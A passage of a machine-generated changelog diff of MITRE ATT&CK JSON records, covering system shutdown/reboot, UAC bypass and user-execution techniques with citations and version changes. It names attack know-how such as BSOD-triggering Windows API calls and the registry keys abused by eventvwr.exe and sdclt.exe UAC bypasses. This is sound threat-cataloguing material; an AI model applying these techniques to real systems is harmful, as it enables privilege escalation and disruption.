+ "url": "https://attack.mitre.org/techniques/T1529",
+ "external_id": "T1529"
+ },
+ {
+ "source_name": "Talos Nyetya June 2017",
+ "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
+ "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
+ },
+ {
+ "source_name": "alert_TA18_106A",
+ "description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.",
+ "url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"
+ },
+ {
+ "source_name": "NotMe-BSOD",
+ "description": "lzcapp. (n.d.). Retrieved September 22, 2025.",
+ "url": "https://github.com/lzcapp/NotMe-BSOD"
+ },
+ {
+ "source_name": "Talos Olympic Destroyer 2018",
+ "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
+ "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+ },
+ {
+ "source_name": "Microsoft Shutdown Oct 2017",
+ "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
+ },
+ {
+ "source_name": "NtRaiseHardError",
+ "description": "NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.",
+ "url": "https://ntdoc.m417z.com/ntraiseharderror"
+ },
+ {
+ "source_name": "Unit42 Agrius 2023",
+ "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.",
+ "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"
+ },
+ {
+ "source_name": "SonicWall",
+ "description": "SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.",
+ "url": "https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant"
+ },
+ {
+ "source_name": "CrowdStrike Blog",
+ "description": "William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.",
+ "url": "https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Austin Clark, @c2defense",
+ "Hubert Mank",
+ "Janantha Marasinghe"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_impact_type": [
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+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Sensor Health: Host Status\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.145000+00:00\", \"old_value\": \"2025-04-15 19:59:24.950000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"old_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,7 @@\\n \\n Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n \\n+Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n+ In some cases, the system may not be able to boot again. \\n+\\n Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"NotMe-BSOD\", \"description\": \"lzcapp. (n.d.). Retrieved September 22, 2025.\", \"url\": \"https://github.com/lzcapp/NotMe-BSOD\"}, \"root['external_references'][6]\": {\"source_name\": \"NtRaiseHardError\", \"description\": \"NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.\", \"url\": \"https://ntdoc.m417z.com/ntraiseharderror\"}, \"root['external_references'][7]\": {\"source_name\": \"Unit42 Agrius 2023\", \"description\": \"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.\", \"url\": \"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/\"}, \"root['external_references'][8]\": {\"source_name\": \"SonicWall\", \"description\": \"SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.\", \"url\": \"https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant\"}, \"root['external_references'][9]\": {\"source_name\": \"CrowdStrike Blog\", \"description\": \"William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.\", \"url\": \"https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/\"}}}",
+ "previous_version": "1.4",
+ "version_change": "1.4 \u2192 1.5",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may shutdown/reboot systems to interrupt access | t | 1 | Adversaries may shutdown/reboot systems to interrupt access |
| > | to, or aid in the destruction of, those systems. Operating s | > | to, or aid in the destruction of, those systems. Operating s | ||
| > | ystems may contain commands to initiate a shutdown/reboot of | > | ystems may contain commands to initiate a shutdown/reboot of | ||
| > | a machine or network device. In some cases, these commands | > | a machine or network device. In some cases, these commands | ||
| > | may also be used to initiate a shutdown/reboot of a remote c | > | may also be used to initiate a shutdown/reboot of a remote c | ||
| > | omputer or network device via [Network Device CLI](https://a | > | omputer or network device via [Network Device CLI](https://a | ||
| > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | ||
| > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | ||
| > | _TA18_106A) They may also include shutdown/reboot of a virtu | > | _TA18_106A) They may also include shutdown/reboot of a virtu | ||
| > | al machine via hypervisor / cloud consoles or command line t | > | al machine via hypervisor / cloud consoles or command line t | ||
| > | ools. Shutting down or rebooting systems may disrupt access | > | ools. Shutting down or rebooting systems may disrupt access | ||
| > | to computer resources for legitimate users while also imped | > | to computer resources for legitimate users while also imped | ||
| > | ing incident response/recovery. Adversaries may attempt to | > | ing incident response/recovery. Adversaries may also use Wi | ||
| > | shutdown/reboot a system after impacting it in other ways, s | > | ndows API functions, such as `InitializeSystemShutdownExW` o | ||
| > | uch as [Disk Structure Wipe](https://attack.mitre.org/techni | > | r `ExitWindowsEx`, to force a system to shut down or reboot. | ||
| > | ques/T1561/002) or [Inhibit System Recovery](https://attack. | > | (Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A | ||
| > | mitre.org/techniques/T1490), to hasten the intended effects | > | lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi | ||
| > | on system availability.(Citation: Talos Nyetya June 2017)(Ci | > | ndows API functions with the `ResponseOption` parameter set | ||
| > | tation: Talos Olympic Destroyer 2018) | > | to `OptionShutdownSystem` may deliver a \u201cblue screen of deat | ||
| > | h\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais | ||||
| > | eHardError)(Citation: NotMe-BSOD) In order to leverage these | ||||
| > | API functions, an adversary may need to acquire `SeShutdown | ||||
| > | Privilege` (e.g., via [Access Token Manipulation](https://at | ||||
| > | tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2 | ||||
| > | 023) In some cases, the system may not be able to boot agai | ||||
| > | n. Adversaries may attempt to shutdown/reboot a system aft | ||||
| > | er impacting it in other ways, such as [Disk Structure Wipe] | ||||
| > | (https://attack.mitre.org/techniques/T1561/002) or [Inhibit | ||||
| > | System Recovery](https://attack.mitre.org/techniques/T1490), | ||||
| > | to hasten the intended effects on system availability.(Cita | ||||
| > | tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro | ||||
| > | yer 2018) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon a user copying and pasting code i | t | 1 | An adversary may rely upon a user copying and pasting code i |
| > | n order to gain execution. Users may be subjected to social | > | n order to gain execution. Users may be subjected to social | ||
| > | engineering to get them to copy and paste code directly into | > | engineering to get them to copy and paste code directly into | ||
| > | a [Command and Scripting Interpreter](https://attack.mitre. | > | a [Command and Scripting Interpreter](https://attack.mitre. | ||
| > | org/techniques/T1059). Malicious websites, such as those | > | org/techniques/T1059). One such strategy is \"ClickFix,\" in w | ||
| > | used in [Drive-by Compromise](https://attack.mitre.org/techn | > | hich adversaries present users with seemingly helpful soluti | ||
| > | iques/T1189), may present fake error messages or CAPTCHA pro | > | ons\u2014such as prompts to fix errors or complete CAPTCHAs\u2014that | ||
| > | mpts that instruct users to open a terminal or the Windows R | > | instead instruct the user to copy and paste malicious code. | ||
| > | un Dialog box and execute an arbitrary command. These comman | > | Malicious websites, such as those used in [Drive-by Comprom | ||
| > | ds may be obfuscated using encoding or other techniques to c | > | ise](https://attack.mitre.org/techniques/T1189), may present | ||
| > | onceal malicious intent. Once executed, the adversary will t | > | fake error messages or CAPTCHA prompts that instruct users | ||
| > | ypically be able to establish a foothold on the victim's mac | > | to open a terminal or the Windows Run Dialog box and execute | ||
| > | hine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoi | > | an arbitrary command. These commands may be obfuscated usin | ||
| > | a ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citatio | > | g encoding or other techniques to conceal malicious intent. | ||
| > | n: AhnLab LummaC2 2025) Adversaries may also leverage phish | > | Once executed, the adversary will typically be able to estab | ||
| > | ing emails for this purpose. When a user attempts to open an | > | lish a foothold on the victim's machine.(Citation: CloudSEK | ||
| > | attachment, they may be presented with a fake error and off | > | Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citatio | ||
| > | ered a malicious command to paste as a solution.(Citation: P | > | n: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) | ||
| > | roofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Pas | > | Adversaries may also leverage phishing emails for this purpo | ||
| > | te 2024) Tricking a user into executing a command themselve | > | se. When a user attempts to open an attachment, they may be | ||
| > | s may help to bypass email filtering, browser sandboxing, or | > | presented with a fake error and offered a malicious command | ||
| > | other mitigations designed to protect users against malicio | > | to paste as a solution, consistent with the \"ClickFix\" strat | ||
| > | us downloaded files. | > | egy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Ma | ||
| > | licioys Copy Paste 2024) Tricking a user into executing a c | ||||
| > | ommand themselves may help to bypass email filtering, browse | ||||
| > | r sandboxing, or other mitigations designed to protect users | ||||
| > | against malicious downloaded files. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon a user opening a malicious file i | t | 1 | An adversary may rely upon a user opening a malicious file i |
| > | n order to gain execution. Users may be subjected to social | > | n order to gain execution. Users may be subjected to social | ||
| > | engineering to get them to open a file that will lead to cod | > | engineering to get them to open a file that will lead to cod | ||
| > | e execution. This user action will typically be observed as | > | e execution. This user action will typically be observed as | ||
| > | follow-on behavior from [Spearphishing Attachment](https://a | > | follow-on behavior from [Spearphishing Attachment](https://a | ||
| > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | > | ttack.mitre.org/techniques/T1566/001). Adversaries may use s | ||
| > | everal types of files that require a user to execute them, i | > | everal types of files that require a user to execute them, i | ||
| > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp | > | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp | ||
| > | l, and .reg. Adversaries may employ various forms of [Masqu | > | l, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10) | ||
| > | erading](https://attack.mitre.org/techniques/T1036) and [Obf | > | Adversaries may employ various forms of [Masquerading](htt | ||
| > | uscated Files or Information](https://attack.mitre.org/techn | > | ps://attack.mitre.org/techniques/T1036) and [Obfuscated File | ||
| > | iques/T1027) to increase the likelihood that a user will ope | > | s or Information](https://attack.mitre.org/techniques/T1027) | ||
| > | n and successfully execute a malicious file. These methods m | > | to increase the likelihood that a user will open and succes | ||
| > | ay include using a familiar naming convention and/or passwor | > | sfully execute a malicious file. These methods may include u | ||
| > | d protecting the file and supplying instructions to a user o | > | sing a familiar naming convention and/or password protecting | ||
| > | n how to open it.(Citation: Password Protected Word Docs) | > | the file and supplying instructions to a user on how to ope | ||
| > | While [Malicious File](https://attack.mitre.org/techniques/T | > | n it.(Citation: Password Protected Word Docs) While [Malic | ||
| > | 1204/002) frequently occurs shortly after Initial Access it | > | ious File](https://attack.mitre.org/techniques/T1204/002) fr | ||
| > | may occur at other phases of an intrusion, such as when an a | > | equently occurs shortly after Initial Access it may occur at | ||
| > | dversary places a file in a shared directory or on a user's | > | other phases of an intrusion, such as when an adversary pla | ||
| > | desktop hoping that a user will click on it. This activity m | > | ces a file in a shared directory or on a user's desktop hopi | ||
| > | ay also be seen shortly after [Internal Spearphishing](https | > | ng that a user will click on it. This activity may also be s | ||
| > | ://attack.mitre.org/techniques/T1534). | > | een shortly after [Internal Spearphishing](https://attack.mi | ||
| > | tre.org/techniques/T1534). |
/usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\\n\\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\\n\\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\\n-\\n-Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\\n-\\n-On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\\n-\\n-There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration",
+ "M1038: Execution Prevention",
+ "M1047: Audit",
+ "M1051: Update Software",
+ "M1052: User Account Control"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Modification)",
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0345: Detection Strategy for Abuse Elevation Control Mechanism (T1548)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-30 14:24:34.977000+00:00",
+ "modified": "2025-10-24 17:48:25.823000+00:00",
+ "name": "Bypass User Account Control",
+ "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1548/002",
+ "external_id": "T1548.002"
+ },
+ {
+ "source_name": "Davidson Windows",
+ "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
+ "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
+ },
+ {
+ "source_name": "TechNet How UAC Works",
+ "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
+ "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
+ },
+ {
+ "source_name": "SANS UAC Bypass",
+ "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
+ "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
+ },
+ {
+ "source_name": "MSDN COM Elevation",
+ "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
+ "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
+ },
+ {
+ "source_name": "enigma0x3 Fileless UAC Bypass",
+ "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
+ "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
+ },
+ {
+ "source_name": "enigma0x3 sdclt app paths",
+ "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
+ "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
+ },
+ {
+ "source_name": "enigma0x3 sdclt bypass",
+ "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
+ "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
+ },
+ {
+ "source_name": "TechNet Inside UAC",
+ "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
+ "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
+ },
+ {
+ "source_name": "Fortinet Fareit",
+ "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
+ "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
+ },
+ {
+ "source_name": "Github UACMe",
+ "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
+ "url": "https://github.com/hfiref0x/UACME"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Stefan Kanthak",
+ "Casey Smith"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.823000+00:00\", \"old_value\": \"2025-04-16 20:37:15.662000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\\n\\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\\n\\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\\n\\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe and [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\\n\\nAnalysts should monitor these Registry settings for unauthorized changes.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\\n-\\n-Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\\n-\\n-* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\\n-\\n-* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe and [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\\n-\\n-Analysts should monitor these Registry settings for unauthorized changes.\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1047: Audit",
+ "M1051: Update Software",
+ "M1052: User Account Control"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0388: Detection Strategy for T1548.002 \u2013 Bypass User Account Control (UAC)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
